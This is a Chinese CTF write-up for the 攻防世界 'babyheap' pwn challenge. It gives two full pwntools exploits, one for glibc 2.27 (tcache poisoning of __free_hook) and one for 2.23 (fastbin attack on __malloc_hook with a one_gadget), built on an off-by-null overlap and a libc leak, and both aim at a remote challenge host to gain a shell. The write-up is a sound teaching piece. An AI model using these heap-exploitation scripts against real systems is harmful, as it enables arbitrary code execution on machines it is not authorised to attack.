天天看点

攻防世界 pwn babyheap writeup分析libc2.27解法libc2.23解法

分析

这题题目中显示是Wellcome To the 2.27 Heap World,而且只能申请7个chunk,理论上应该是一道libc2.27 tcache的题,但因为在交互过程中触发了fastbin的double free错误,所以攻防世界上应该是把这题部署在了libc2.23的环境中,但无所谓,下面libc2.27和libc2.23的解法都会给出。

libc2.27解法

首先我们要泄漏libc的地址,tcache肯定是无法泄漏libc的,因此我们考虑使用unsorted bin来泄漏,这题有off by null,没有UAF。

然后由于create chunk的时候会在输入的内容后面加一个\x00,所以即便chunk在unsorted bin里踩出libc的地址也无法用show方法回显,因为会被\x00截断。

所以唯一的方法就是在create chunk之后想办法把libc地址踩到data里

因此考虑采用unlink攻击构造重叠的chunk。这样就可以得到两个相同的chunk,其中一个在heap_list里,另一个在unsorted_bin里,unsorted_bin里的那个副本会被踩出libc地址,这样show的时候,heap_list中的那个chunk就会打印出libc的地址。

之后就很容易了,修改tcache中chunk的fd指向__free_hook,修改__free_hook为system就好了,然后free被写入了"/bin/sh\x00"的chunk即可。

exp:

from pwn import *
#from LibcSearcher import *
import time

pe = "./timu"
arch = 'amd64'

context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
    if arch=='amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    r = process(pe)

else:
    libc = ELF('./libc-2.23.so')
    r = remote('220.249.52.134',43623)
    
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
ri      = lambda                    :r.interactive()
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss))) 
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}\n'.format(hex(addr)))
        
    time.sleep(1)
        
def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))
    
'''
Your choice :
1
Size: 
40
Data: 
sdf
'''
def add(size,content=b"a\n"):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

    
'''
Your choice :
2
Index: 
0
'''
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))
    
'''
Your choice :
3
0 : sdf
'''
def show():
    sla("Your choice :\n","3")
    

add(0x500)#0
add(0x600)#0,1
add(0x18)#0,1,2
add(0x500-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0xb40
add(0x18,b'a'*0x10+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x500)#pad #0,1,[2],4 #1副本->main_arena+96

show() #1会回显libc中的地址

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
msg("libc_base",libc_base)

libc.address = libc_base

add(0x40)#0,1,2,[3],4 #重复->1
free(3)#0,1,2,4 [3/1]->tcache
free(1)#0,2,4 double free [3/1]
add(0x40,p64(libc.sym["__free_hook"]-0x8)+b"\n") #0,[1],2,4   tcache->free_hook-0x8
add(0x40)##0,1,2,[3],4 pad
add(0x40,b'/bin/sh\x00'+p64(libc.sym["system"])+b'\n')#0,1,2,3,4,[5]

free(5)

#debug()
ri()

           

libc2.23解法

libc2.23解法与上面类似,区别在于要使用fastbin attack实现有条件的地址修改,一般都是找到 ((void*)&__malloc_hook)-0x23 的位置,这里刚好能伪造一个0x70的chunk。

然后在__malloc_hook的位置填上one_gadget的地址,那么下次malloc的时候就会执行one_gadget得到shell,这里问题在于有时所有one_gadget都不能用,这时可以触发double_free,报错时会清栈,然后malloc会被调用,从而满足one_gadget的条件。

这里最大的问题在于攻防世界给的libc是错的,因此我们需要下载不同的libc挨个尝试,直到找到对的那个libc。

查询libc可以用这个网站:

https://libc.blukat.me

结果大概就是下面这样,double free报错后get shell:

攻防世界 pwn babyheap writeup分析libc2.27解法libc2.23解法

exp:

from pwn import *
#from LibcSearcher import *
import time

pe = "./timu"
arch = 'amd64'

context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
    if arch=='amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    r = process(pe)

else:
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
    r = remote('220.249.52.134',43623)
    
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
ri      = lambda                    :r.interactive()
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss))) 
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}\n'.format(hex(addr)))
        
    time.sleep(1)
        
def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))
    
'''
Your choice :
1
Size: 
40
Data: 
sdf
'''
def add(size,content=b"a\n"):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

    
'''
Your choice :
2
Index: 
0
'''
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))
    
'''
Your choice :
3
0 : sdf
'''
def show():
    sla("Your choice :\n","3")
    

add(0x100)#0
add(0x60)#0,1
add(0x68)#0,1,2
add(0x100-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0x110+0x70+0x70
add(0x68,b'a'*0x60+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x100)#pad #0,1,[2],4 #1 double->main_arena+96

show()

addr = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))
main_arena = addr-88
malloc_hook = main_arena-0x10
libc_base = addr-0x3c4b78
msg("main_arena",main_arena)
msg("malloc_hook",malloc_hook)
msg("libc_base",libc_base)

libc.address = libc_base

add(0x60)#0,1,2,[3],4 #->1
add(0x60)#0,1,2,3,4,[5] #->0
free(3)#0,1,2,4,5 ->fastbin
free(5)#0,1,2,4
free(1)#0,2,4   #fastbin:0->1->0

add(0x60,p64(libc.sym["__malloc_hook"]-0x23)+b'\n')
add(0x60)
add(0x60)

one = 0xf02a4 #0xf0364
add(0x60,b'a'*0x13+p64(one+libc_base)+b'\n')

free(0)
free(3)


#debug()
ri()